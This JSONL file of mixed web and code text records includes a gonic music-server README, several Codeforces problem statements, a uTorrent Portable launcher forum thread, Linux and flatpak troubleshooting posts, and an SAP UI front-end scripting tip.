    {"text": "Global Volcanism Program | Image GVP-01023\nThe youngest crater of Dempo volcano, at the WNW end of a series of six partially overlapping craters at the summit, contains a 400-m-wide crater lake that has been the source of frequent phreatic eruptions during historical time. A seventh smaller crater is located on the upper N flank. Dempo is one of Sumatra's most active volcanoes, frequently producing small-to-moderate explosive eruptions.\nPhoto by Ruska Hadian, 1989 (Volcanological Survey of Indonesia).\nThis image is made available under the Creative Commons BY-NC 4.0 license terms.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "At Realistic Love Doll we believe that 2018 will be the year of cryptocurrencies. To celebrate the invention and the recent introduction of cryptocurrencies to our world, we now accept ethers and bitcoins as payment on Realistic-Love-Doll ! Indeed, it’s also a very secure method to make discreet payments !\nWhy Should You Use Cryptocurrencies\n- Quick and Instant Payments\n- No Risk of Fraud\n- No Risk of Identity Theft\n- Global Currency\nEthereum is a decentralized blockchain platform for “building unstoppable applications”, while Ether is the cryptocurrency used on this platform. Ethereum can be used for virtually any kind of transaction or agreement (to put it another way, any kind of activity that has an economic or governance aspect), at a lower cost than conventional alternatives, such as debit card payments, PayPal, and ballot voting, in a way that is decentralized, trustless (no intermediary like a bank is needed, Bob can send X ETH directly to Alice), secure, safe and live (with some assumptions like an honest majority of securitors), and censorship-resistant. (from Github Ethereum)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 224, "token_count_with_eod": 225, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "// Fill out your copyright notice in the Description page of Project Settings.\n\n#pragma once\n\n#include \"CoreMinimal.h\"\n#include \"AI/Base/CI_BaseAIController_CPP.h\"\n#include \"CI_BaseStaffController_CPP.generated.h\"\n\n/**\n * \n */\nUCLASS()\nclass CASINO_INC_API ACI_BaseStaffController_CPP : public ACI_BaseAIController_CPP\n{\n\tGENERATED_BODY()\n\npublic:\n\tvirtual void Tick(float DeltaSeconds) override;\n\t\nprotected:\n\tvirtual void HourChanged(int hourNumber) override;\n\npublic:\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"WorkTime\")\n\t\tint startWorkTime = 8;\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"WorkTime\")\n\t\tint endWorkTime = 16;\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"WorkTime\")\n\t\tint workStintLength = 8;\n\n\tUPROPERTY(BlueprintReadOnly, VisibleAnywhere, Category = \"cost\")\n\t\tint hourlySalary = 10;\n\nprotected:\n\n};", "source": "cpt_stack_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "subsonic, supporting its many clientsFLOSS alternative to\n- browsing by folder (keeping your full tree intact)\n- browsing by tags (using taglib - supports mp3, opus, flac, ape, m4a, wav, etc.)\n- pretty fast scanning (with my library of ~27k tracks, initial scan takes about 10m, and about 5s after incrementally)\n- last.fm scrobbling\n- multiple users\n- a web interface for configuration (set up last.fm, manage users, start scans, etc.)\n- newer salt and token auth\n- tested on dsub and jamstash\nthe default login is admin/admin.\npassword can then be changed from the web interface\n$ apt install build-essential git sqlite libtag1-dev # for debian like $ pacman -S base-devel git sqlite taglib # for arch like $ go get senan.xyz/g/gonic/cmd/gonic $ export PATH=$PATH:$HOME/go/bin $ gonic -h # or see \"configuration options below\"\nnote: unfortunately if you do this above, you'll be compiling gonic locally on your machine (if someone knows how I can statically link sqlite3 and taglib, please let me know so I can distribute static binaries)\nor else you can run in docker, available on dockerhub as\n# example docker-compose.yml version: '3' services: gonic: image: sentriz/gonic:latest environment: - TZ # optionally, see env vars below expose: - 80 volumes: - ./data:/data - /path/to/music:/music:ro\nthen start with\ndocker-compose up -d\n|env var||command line arg||description|\n||path to your music collection|\n||optional path to database file|\n||optional host and port to listen on (eg.\n||optional interval (in minutes) to check for new music (automatic scanning disabled if omitted)|", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 405, "token_count_with_eod": 406, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Sometimes some words like \"localization\" or \"internationalization\" are so long that writing them many times in one text is quite tiresome.\n\nLet's consider a word too long, if its length is strictly more than 10 characters. All too long words should be replaced with a special abbreviation.\n\nThis abbreviation is made like this: we write down the first and the last letter of a word and between them we write the number of letters between the first and the last letters. That number is in decimal system and doesn't contain any leading zeroes.\n\nThus, \"localization\" will be spelt as \"l10n\", and \"internationalization» will be spelt as \"i18n\".\n\nYou are suggested to automatize the process of changing the words with abbreviations. At that all too long words should be replaced by the abbreviation and the words that are not too long should not undergo any changes.", "source": "cpt_codeforces", "language": "en", "token_count": 190, "token_count_with_eod": 191, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Additional Images: Notice - Some images may contain material not suitable for all audiences.\nShaderWorks for Lotus Gown is the companion product for Lotus Gown by Arki! Not only will it make the use of these wonderful clothes easier, it will also open lots of possibilities with a nice colored and customizable shader\nLoad all Lotus Gown clothes and ornaments at once\nHide and Show clothes for easy posing.\nCopy dress settings and morphs settings on all clothes at once.\nApply the default textures on all clothes at once or…\nApply a velvet shader on all clothes.\n2 main scripts\n31 scripts to be launched with the Python palette\n27 scripts to be launched from the ScriptsMenu (Poser 7 or Poser Pro)\nOne resource file", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 157, "token_count_with_eod": 158, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Description: uTorrent is a torrent download manager.\nDownload uTorrent Portable Development Test 2 [211KB download / 761KB installed]\n1. install uTorrent Portable\n2. download uTorrent 1.8.x from http://www.utorrent.com/\n3. save 'utorrent.exe' to the 'App\\utorrent' directory\n4. (optional) download and save the help file to the 'App\\utorrent' directory\n5. run uTorrentPortable.exe\nPERFORM A NEW INSTALLATION, DO NOT UPGRADE AN OLDER VERSION FROM ANOTHER DEVELOPER. You may upgrade an existing installation from MY previous release, however.\nuTorrent does not allow manual editing of the settings.dat file (hash check), so this warning is very important for proper functioning of this launcher!!!\nDevelopment Test 2 (2008-09-30)\n- Added INI settings: uTorrentDirectory, SettingsDirectory, AdditionalParameters\nDevelopment Test 1 (2008-08-30)\n- Allow setting a different executable name.\nDevelopment Test 1 (2008-05-14): Initial release\n- Re-released with permission from Ryan McCue.\nSo, is there a reason why it would not work with the 1.8beta?\nYou could test it and find out\nBut I'm not going to waste my time with beta versions at the moment.\nI was just messing around with it and I found one thing you might want to change. The torrent files get copied into the app directory when you add them to the download list, shouldn't they be copied to the /Data/torrent folder when the program is closed? I have all my torrent files left in the app directory.\nDid you install this overtop of Ryan's version? If so, then the default settings file wasn't copied correctly.\nCan you check your settings and tell me where the program is set to save your torrents ('Other' section of settings dialog)? It should be -\nAlso check you didn't make other settings that override the default torrent save location.\nI never had it set to save the torrents anywhere. I just thought the launcher was set up so that any torrent files in the App folder would be copied to the torrent folder. I'll put in the save location. Will the launcher automatically change the drive letter for the save path or do I need to put in a relative path like you have above?\nYou didn't answer my question. Did you overwrite an old installation from Ryan's version?\nI ask because on a new install the default settings file is copied from DefaultData, which has all the relative paths correctly set.\nIt must be done this way because the settings file is more or less binary, and it would be unreliable to do a search-and-replace.\nBut yes, the save location should be a relative path exactly as I wrote it.\nTo finally answer your question, I did overwrite an old installation. But I don't see how this would have helped. I already had a settings file in the Data\\settings folder, so those settings would have never been updated to reflect the change you made for the torrent folder.\nWhich is exactly the issue....his updated launcher handles things differently, and he had relative paths properly working. Ryan's did not fully work this way. So without the new settings from DefaultData getting copied over, the new launcher was still working with the old settings.\nThe developer formerly known as ZGitRDun8705\nArrgghh that's the point!!!\nWhen you overwrite an old install it does not copy the default settings file. And it shouldn't, otherwise you'd lose your settings each time you upgraded.\nBut this is a new version, new launcher, etc. YOU MUST DO A FRESH INSTALL. This way all your default settings are correct from the beginning.\nFair enough. I must have missed the giant bold text in the original post.\nI'm upgrading from Ryan's version. I did a fresh install, but I would like to import the torrents I already have (some completed, some not). How would I do this?\nIncomplete torrents will probably not work because the \"resume.dat\" file has references to qualified paths in it that will not translate to the new relative paths.\nCompleted torrents should work if you place the torrent and data in the correct directories (Data\\torrents, Data\\download). When you re-add the torrent file, it should find the data in the new relative path (untested).\nIf I move my completed downloads to the downloads directory then re-add the torrents, it checks them and everything is fine and dandy.\nWould it be possible to update the launcher so the name of the exe can be changed. The ini file would be like most of the other programs on this site\nThis would give the user more options for computers that block utorrent.exe.\nYeah I can add that for the next version.\nShould the .torrent files be opened with utorrentportable.exe or utorrent.exe?\nbut why when i opened it with utorrentportable.exe, the file was not shown in the download list? is it normal to open the utorrentportable.exe and instead the one that is shown is the utorrent icon?\nI haven't tried it, but I assume you can add files to uTorrent by passing them as a commandline parameter? Maybe this is not the case.\nAt any rate, you should always open the app via the uTorrentPortable.exe launcher. Anything you pass to the launcher on the commandline will be passed on to uTorrent. Maybe you need another commandline switch to add the file? I don't know for sure.\nI'm using portable utorrent and its speed is awesome for me (100-150kbps). TQ wraithdu\n- Following your instruction I downloaded the help file (utorrent.chm) and saved it to App\\utorrent\\ but when I try to use the help it opens the faq page from the web site.\n- Other languages work, too.\nPlease add to your instructions:\n4a. (optional) download and save the language file to the same location\nCould your installer offer to download and save the needed files?\nWorks just like the older test version, even if you update uTorrent in the process.\nThe updated version is just a little more visually friendly.\nGame Monkey Likes You!\nI was just wondering if you were going to update this launcher for uTorrent 1.8. I know the new version works perfectly well with this launcher, but I was wondering if you could implement the ini changes so you can rename uTorrent.exe.\nNice, didn't know a new version was out. It's been in beta for AGES. I'll take a look at it this week.\nAny chance you updated the launcher? I was looking at it more closely and there are some changes to the structure that I think need to be made.\n1: There should be a Data\\settings folder and a Data\\torrents folder\n2: The torrents and settings are left in the app folder when the launcher is closed, these should be removed.\n3: The launcher should be updated to the latest version.\nI really hope you update this soon, it's driving me crazy.\nIf you have settings files and torrent files left in your app directory, you have done something wrong I'm afraid.\nNevermind though, I'm releasing the new launcher today. Follow the directions and try it out.\nI have followed the instructions, however when I click on \"uTorrentPortable\" in PAM nothing happens other than it shows the logo very briefly.\nIn PAM also see \"uTorrent\" when I click on it it ran the .exe file and installed in my USB drive.\nI am confused what's the purpose of \"uTorrentPortable\" in PAM. I am missing here someting and dont no what.\nIt's prolly at the bottom Right of your screen on the TaskBar\nI am not sure what ur suggesting. If ur pointing to the \"uTorrent\" icon in the taskbar then yes I can see that, because I am downloading a torrent, however that's not the issue.\nI am confused as to why I see \"uTorrent\" and \"uTorrentPortable\" both in PAM. I thought that \"uTorrentPortable\" is the launcher for \"uTorrent\" and that's why there's no reason (as I understand) for \"uTorrent\" to show in PAM.\nI think you have uTorrent.exe in the wrong folder, it sounds like you have it at X:\\PortableApps\\uTorrentPortable\\uTorrent.exe\nIt should be in the App\\utorrent folder at X:\\PortableApps\\uTorrentPortable\\App\\utorrent\\uTorrent.exe\nIf it is in that folder, the launcher will work properly.\nThanks Devo, that precisely was the problem.\nIs some one upgrading this or what?\nMay the Shwartz be with you\nYes, sorry, I've been busy at work and haven't had time. I promise I'll get to it over this weekend.\nUpdated, see first post, especially the RELEASE NOTES IN BOLD!!!\nI really wanted to be able to edit the settings.dat file on the fly to update the directory information, but uTorrent does a hash check on the settings files, and won't allow it. Sorry\nThank you very much.\nYeah very much.\nMay the Shwartz be with you\nJust tried this and noticed that in the settings directory there was .OLD files. Is there a reason for them?\nMay the Shwartz be with you\nThey are uTorrent created settings file backups. I'm not entirely sure of their purpose, so I left them intact. They were in previous versions as well.\nI would like to use the /HIDE option. Would this require a rebuild on the application launcher?\nDid you try it? Because the launcher passes commandline params to the main executable, always has.\nNicely done. I can't seem to find a thing wrong with this PROVIDED YOU FOLLOW THE INITIAL INSTALL INSTRUCTIONS! I installed fresh and deliberately installed over Ryan's package. Seems like all the problems people are having with this stem from overwriting Ryan's so follow the instructions and all works fine. Thanks for this.\nIs there any way to take that with me? No? Give me 10 minutes... Maybe an hour...\nI don't know if it's worth it do release a new launcher but I was just thinking you could update it so the ini could handle more parameters. I was thinking the ini could look something like this\nThis would allow more options to be specified in the ini so the user wouldn't have to change them in the Options menu of uTorrent. It also allows for command line parameters to be passed to the program without having to open up the command prompt window.\nI really appreciate your work on this, and hopefully you can update the launcher for the next version.\nSome yes, some no. I can add the AdditionalParameters entry (does anyone really use these anyway?).\nBut the uTorrent internal settings can only be changed from within the program if you want something different than what I've packaged. As I mentioned above, uTorrent does a hash check on the DAT file and any external tampering results in it being invalidated and a new DAT file created.\nAdded more INI settings. See first post.\nWhy exactly is this launcher only?\nsimple reason is that utorrent isn't open-source it's only freeware, hence the limitations of doing the launcher only until we can actually host freeware apps in the future.\nyour friendly neighbourhood moderator Zach Thibeau\nI'm not sure why I thought it was OSS when I posted that.\n[Link removed by mod Tim, your statements for your other recently posted download indicate that it was not legal, please demonstrate conclusively that this is legal before reposting]\ndownload it full and portable and 100% working\nI previously installed uTorrent but have since noticed its not actually portable. Then a couple of days ago I performed a complete recovery of my C: due to problems with wireless. This has caused the loss of all installed uTorrent files on C: so I looked up on your site for a portable launcher, lucky me, I found one!\nRight, so now I follow the instructions and this is what i've done:\n1. Installed uTorrent Portable Launcher\n2. Started Launcher as I thought it would ask me for the uTorrent.exe location so it could install to the appropiate folder.\n3. Moved my u-Torrent 1.8.2.exe into the specified folder - PortableApps\\uTorrentPortable\\Apps\\utorrent\\u-Torrent 1.8.2.exe\n4. Changed the .ini file - uTorrentExecutableFile=u-Torrent 1.8.2.exe\nThen tried again but still not working. Am I missing something, or have I done something wrong?\nOh, just in case someone suggests it, no it's not in the system tray.\nEDIT: OK I figured out I can simply copy the entire contents of %AppData%\\uTorrent into the same folder as utorrent.exe. As stated on uTorrent Website.\nLive for an ideal and leave no place in the mind for anything else.\nI'm guessing that you somehow named it 'uTorrentExecutableFile' by accident? Maybe just a typo? Didn't copy the INI file to the correct location? Who knows. Why not just follow the instructions as I've written them? It's easier that way.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2859, "token_count_with_eod": 2860, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Sasha has an array of integers a1, a2, ..., an. You have to perform m queries. There might be queries of two types:\n\n1. 1 l r x — increase all integers on the segment from l to r by values x;\n2. 2 l r — find $$\\sum_{i=l}^{r} f(a_i)$$, where f(x) is the x-th Fibonacci number. As this number may be large, you only have to find it modulo 109 + 7.\n\nIn this problem we define Fibonacci numbers as follows: f(1) = 1, f(2) = 1, f(x) = f(x - 1) + f(x - 2) for all x > 2.\n\nSasha is a very talented boy and he managed to perform all queries in five seconds. Will you be able to write the program that performs as well as Sasha?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "There is no exact number of times.\nYou can take the Technical Check-in as many times as you want. If you do not pass our technical assessment, we will provide you with feedback on how to improve.\nIf you have interviewed several times without making much progress, we may ask you to reapply.\nThis is based on our perception of your technical ability rather than a magic number you have reached. We do need to see some improvement in each interview in order to continue the interview process, however. If we feel that progress between interviews is not sufficient, we may ask that you take an extended break from the interview process to revisit the basics.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 132, "token_count_with_eod": 133, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Hi guys, newbie here. Needed to help on this, not sure if it is possible to acheive.\nI am trying to do a time shift in freq domain on one of the audio so this part of the code i did so far. reading an audio can put into window frame form.\n[data,fs] = audioread('audio.wav');\nno_frame = 10;\ndatalength = length(data);\nframesize = floor(datalength/no_frame);\ntemp = 0\nfor i = 1 : no_frame\nframes(i,:) = data(temp + 1 : temp + framesize);\ntemp = temp + framesize;\ntried doing this line but seem to have problem:\ny(i,:) = yp(i,:).*exp(-j*2*pi*f*(1/fs));\nAppreatiate any suggestion. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I recently updated my antergos installation, and where the lightdm used to be… is a black screen with the mouse pointer. I read some of the other forums regarding this issue and fixed it by replacing lightdm with gdm.\nEverything seems to be in working order, but is there anything in the future I should be concerned about regarding libraries, dependencies, broken packages? Thanks for your help! I’m not new to Linux, but the more I learn the more I realize how little I know!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I’m currently investigating migration of mammalian cells guided by directional external stimuli. One project focuses on mathematical modeling and parameter inference to understand how a directional external cue induces biased cell motion. In another project I’m using modern image analysis tools based on machine learning to understand how cell morphology and cell deformation determines cell motility. The aim of these projects is to shed light into how cytoskeleton regulation and activity enable cells to migrate following gradients of external cues. This knowledge will contribute to understand health related processes that rely on directed cell migration such as cancer metastasis, wound healing, and immune response.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You are given $$$m$$$ strings and a tree on $$$n$$$ nodes. Each edge has some letter written on it.\n\nYou have to answer $$$q$$$ queries. Each query is described by $$$4$$$ integers $$$u$$$, $$$v$$$, $$$l$$$ and $$$r$$$. The answer to the query is the total number of occurrences of $$$str(u,v)$$$ in strings with indices from $$$l$$$ to $$$r$$$. $$$str(u,v)$$$ is defined as the string that is made by concatenating letters written on the edges on the shortest path from $$$u$$$ to $$$v$$$ (in order that they are traversed).", "source": "cpt_codeforces", "language": "en", "token_count": 134, "token_count_with_eod": 135, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "There are b blocks of digits. Each one consisting of the same n digits, which are given to you in the input. Wet Shark must choose exactly one digit from each block and concatenate all of those digits together to form one large integer. For example, if he chooses digit 1 from the first block and digit 2 from the second block, he gets the integer 12.\n\nWet Shark then takes this number modulo x. Please, tell him how many ways he can choose one digit from each block so that he gets exactly k as the final result. As this number may be too large, print it modulo 109 + 7.\n\nNote, that the number of ways to choose some digit in the block is equal to the number of it's occurrences. For example, there are 3 ways to choose digit 5 from block 3 5 6 7 8 9 5 1 1 1 1 5.", "source": "cpt_codeforces", "language": "en", "token_count": 199, "token_count_with_eod": 200, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "//Your byte array should not have any other reference and only reference should be set to null\nyourByteArray = null;\n//Then trigger GC manually to free up memory\nTrouble logging in? Simply enter your email address OR username in order to reset your password.\nFor faster and more reliable delivery, add firstname.lastname@example.org to your trusted senders list in your email software.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 78, "token_count_with_eod": 79, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I just searched the forums but couldn’'t find anything.\nOn my jabber server (Openfire 3.3.1) I use the Multi User Chat feature. But unfortunately I don’'t see which users are online. This is happens with any client (I tried Gaim2b6, Pidgin, Gajim and jwchat). There are also no notifications about users entering a chatroom, but a notification about leaving users.\nIn the server’'s admin console I can see which users are online.\nWell, this is of course inconvenient for my users. How can this be fixed? Is this a problem of the server or the clients?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 141, "token_count_with_eod": 142, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Hi! You know how in Microsoft Word when you type a bunch of dashed lines then hit enter, the dashed lines become one straight line?\nI'm trying to do that in Photoshop CC 2018 with the type tool. I want to TYPE the line within a text box, NOT draw it with the line tool. This is because I'd want the line/separator to adjust if I change any text above or below it.\nAnd while I'm at it, I used to be able to preview any changes I make while I adjust things like line spacing, text size, etc in Photoshop CS6, but now it doesn't work in CC? For example, If I scrub along the font size, the text changes size in REAL TIME. Now I have to hit enter on the font size before the change is reflected on the text (same for line spacing, layer opacity, etc). Is there a setting for this?\nIs this what you're looking to achieve. if so just use the Shift + minus key, not the minus key on the numeric pad\nAnswer to your second question, this is a bug in CC2018 19.0.1", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 241, "token_count_with_eod": 242, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "My five-year-old son wanted to make an arrow. I one-upped him by making four arrows. He liked the shape and called it an “everywhere pointer.”\nWe can make this with the following code:\nfracture = 0.1 length = 14 width = 4 pointiness = 15 nsides = 20 shaftToHeadAngle = 110 barbAngle = 135 arrow = -- Right upright. move length -- Start arrowhead. yaw shaftToHeadAngle move width -- Head to point. yaw -1 * barbAngle move pointiness -- We just hit the point. Now return. yaw -1 * (180.0 - 2 * (barbAngle - shaftToHeadAngle)) move pointiness -- Finish arrow head. yaw -1 * barbAngle move width -- Left upright. yaw shaftToHeadAngle move length end moveto 0 0 0 repeat 4 arrow yaw 90 end tube\nThis code makes me realize I should try to add the unary negation operator. Right now I have to verbosely multiply by -1. Finding a general solution to the angles was another good geometry exercise.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Ah! You're right, I switched the two cases in the if statement around. Sorry for that, I just edited the original post. It should now work as intended, which is in plain language this: You eval a field \"200_event\" to contain a 1 each time a successfull login takes place, and then you keep a running total (the \"id\" field) of these events. This is useful because each time you have one of those 200 events, you can conclude that the last 401 has successfully been answered. This in turn means that a running count of the same attempt without a successful 200 answer (i.e. no change in the \"id\" field) can help you track down someone with multiple unsuccessful attempts.\nIf that didn't clear things up enough, feel free to ask further 🙂", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I just got this problem when I started using may laptop again after quite some time now. Icons are flashing and I can't click on the folders on the homepage. It disappears for some time but goes back as well. What could possibly be the problem?\nAny one?Really much appreciated.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 59, "token_count_with_eod": 60, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I’m trying to install Signal via Flatpak from Flathub, but it fails with a generic permission denied error and no other details. Does anybody have any ideas on how to solve this problem or even debug it? Thanks in advance for any ideas / suggestions.\nHere’s the transcript:\n$ flatpak -vv --ostree-verbose install --user flathub org.signal.Signal F: Opening user flatpak installation at path /home/barnard/.local/share/flatpak Looking for matches… F: No installations directory in /etc/flatpak/installations.d. Skipping F: Fetching summary file for remote ‘flathub’ F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-SSfM7v F: Fetching summary file for remote ‘flathub’ F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-Udyxuw F: Transaction: install flathub:app/org.signal.Signal/x86_64/stable[*] F: Looking for remote metadata updates for flathub F: marking op install:app/org.signal.Signal/x86_64/stable resolved to 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb F: Updating dependent runtime runtime/org.freedesktop.Platform/x86_64/20.08 F: Transaction: update flathub:runtime/org.freedesktop.Platform/x86_64/20.08[$old] F: marking op update:runtime/org.freedesktop.Platform/x86_64/20.08 resolved to 99666aa95651104a247e446309140c3641d0f43902240b57de11657a2fc1944f F: Transaction: install/update flathub:runtime/org.freedesktop.Platform.GL.default/x86_64/20.08[*] F: Transaction: install/update flathub:runtime/org.freedesktop.Platform.Locale/x86_64/20.08[/en] F: Transaction: install/update flathub:runtime/org.freedesktop.Platform.openh264/x86_64/2.0[*] F: marking op install/update:runtime/org.freedesktop.Platform.openh264/x86_64/2.0 resolved to 73f998362a6fc0d57e0c7e83e928d32b0ec14d10d0d94291033976bdcecc6b6b F: marking op install/update:runtime/org.freedesktop.Platform.Locale/x86_64/20.08 resolved to e59956b0c9e66dbba44122d8130c3ef009d66b6259e20a29c4f6aa4347316238 F: marking op install/update:runtime/org.freedesktop.Platform.GL.default/x86_64/20.08 resolved to 82a8e234463fcb58ccd655b09dafbfe751ea785816c0927053f2a6a9a8fad73d org.signal.Signal permissions: ipc network pulseaudio x11 devices file access  dbus access  bus ownership   xdg-desktop, xdg-documents, xdg-download, xdg-music, xdg-pictures, xdg-public-share, xdg-videos  org.freedesktop.Notifications, org.kde.StatusNotifierWatcher  org.kde.StatusNotifierItem-2-1 1. org.signal.Signal stable i flathub < 150.1 MB Proceed with these changes to the user installation? [Y/n]: yes Installing… F: flatpak_dir_pull: Using commit 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb for pull of ref app/org.signal.Signal/x86_64/stable from remote flathub F: Preparing transaction in repository 0x55c63bd8e2c0 F: Pushing lock non-blocking with timeout 30 F: Creating repo lock table F: Opening repo lock file F: Push lock: state=unlocked, depth=0 F: Locking repo shared F: Using new tmpdir staging-58f97122-10a6-40ab-bb6c-2e9486b51a14-sVuDBb F: Loaded flathub summary from cache F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-iKbURx Installing… 0% 0 bytes/sF: starting fetch of 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb.commit (detached) F: fetch of 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb.commit (detached) complete F: _ostree_fetcher_should_retry_request: error: unset, n_retries_remaining: 5 F: Adding GPG keyring data from flathub.trustedkeys.gpg to verifier F: GnuPG >= 2.1.17, skipping gpg-agent cleanup in /tmp/ostree-gpg-0FHe6x F: pull: idle, exiting mainloop Installing… ████████████████████ 100%F: Committing transaction in repository 0x55c63bd8e2c0 F: txn commit staging-58f97122-10a6-40ab-bb6c-2e9486b51a14-sVuDBb F: Popping lock non-blocking with timeout 30 F: Pop lock: state=shared, depth=1 F: Unlocking repo F: No checksum specified, getting tip of app/org.signal.Signal/x86_64/stable from origin flathub F: tip resolved to: 0a13bd1bc332a90a9718c82d6ed1170ef0ffc4164be34cca4c1e694cb8243eeb Error: Permission denied F: Free lock: state=unlocked, depth=0 F: Closing repo lock file F: Free lock table error: Failed to install org.signal.Signal: Permission denied\nI upgraded Flatpak from 1.2.5 to 1.8.2 to avoid a umask issue fixed in 1.3.3, but that did not appear to help. I also ran\nrestorecon -Rv ~/.local, but that did not appear to help either.\nPossibly relevant details:\n$ umask 0077 $ uname -a Linux  5.8.18-300.fc33.x86_64 #1 SMP Mon Nov 2 19:09:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1824, "token_count_with_eod": 1825, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Topic: iRedMail Easy & postfix main.cf\nAfter deploying iRedMail Easy I see I could of used my postfix main.cf file in custom location which would be symbolic linked to /etc/postfix/main.cf. I prefer to have a file to manually edit;\nCan I manually create a conf file here /opt/iredmail/custom/postfix/main.cf (symbolic link /etc/postfix/main.cf to this) and edit this as a normal main.cf file? Will my changes to this file be persistent during upgrades? Or must I use custom.sh to execute commands (which populates /etc/postfix/main.cf.iredmail)?\nThe same for master.cf also?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 138, "token_count_with_eod": 139, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "I am Associate Professor of Quantitative Comparative Politics at Durham University, School of Government and International Affairs (SGIA). Before that, I was Economics of Conflict Fellow (with ESOC) at Princeton University and International Crisis Group and Postdoctoral Research Fellow at the University of Oxford. I hold a Ph.D. from the London School of Economics and Political Science.\nIn my research, I investigate topics relating to development, conflict and security, and natural resources and the environment.\nI authored a paper on so-called ‘conflict diamonds’ and a paper asking how drone strikes killing terrorist leaders affect terrorist attacks and one on a civilian protection militia in South Sudan. I’ve worked on a Randomized Controlled Trial investigating whether community monitoring can decrease deforestation in Uganda (part of Metaketa III), a lab-in-the-field experiment designed to reveal how recalling violent conflict changes individual prosocial behaviour and on a project on conflict between industrial and artisanal miners in Sub-Saharan Africa.\nIn 2023-2024, I will teach on the following courses at SGIA:\n- SGIA3681 Poverty or Prosperity? The political economy of development", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "When creating custom screens in SAP Sales Cloud that contain more screen elements than average, you might want to create order in the chaos of UI elements on screen. You can statically show or hide UI elements on you custom screen. But there is a simple way to dynamically show or hide UI elements in the PDI. In our example, we have multiple search types. Depending on the search type, you want to show or hide certain result tables.\nIn this example we have already created a custom screen (Embedded Component) with a screen element that contains the current Search Type. The value for the Search Type is exposed in the data model for our screen:\nNow, for a UI element that we would like to show or hide, we go to the visibility property in the Designer View and select ‘Calculation Rule’:\nThe calculation rule window will pop up. Since we exposed our Search Type variable in the data model we can refer to it in our calculation rule logic:\nThe script in the screenshot above is a so called front-end script. It is the programming language used in the user interface designer (UI designer) to define a set of rules and the logic of the behavior of UI controls. The code snippet can be found below.\nif ( search_type ==\"1\" )\nresult = true\nresult = false\nIn the Calculation Rule the result variable determines if the specific UI element will be visible or not. In this particular case the logic is quite straightforward and the UI element will only be visible when the Search Type is ‘1’. In case more complex logic is required I would recommend chapter Front-End Script for the UI Designer from the Cloud Application Studio documentation, which elaborates on the front-end script syntax.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 346, "token_count_with_eod": 347, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
